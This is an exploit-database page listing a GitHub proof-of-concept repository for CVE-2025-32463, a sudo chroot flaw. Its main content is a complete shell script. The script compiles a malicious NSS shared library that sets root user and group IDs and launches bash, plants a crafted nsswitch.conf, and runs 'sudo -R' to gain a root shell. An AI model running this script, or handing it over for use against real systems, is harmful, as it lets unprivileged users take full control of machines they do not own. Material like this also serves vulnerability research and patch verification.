Exploit database

GH-10028549867ea01e229c1c5112c47b2a

7r00t/cve-2025-32463-lab

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-32463

52 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
7r00t/cve-2025-32463-labRevision 567a69f9be7c

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

sudo-chwoot.sh

Shell · 652 bytes
#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – PoC with chroot and malicious NSS module

STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

# Malicious shared object source
cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "[*] Launching exploit via sudo -R ..."
sudo -R woot woot
rm -rf ${STAGE?}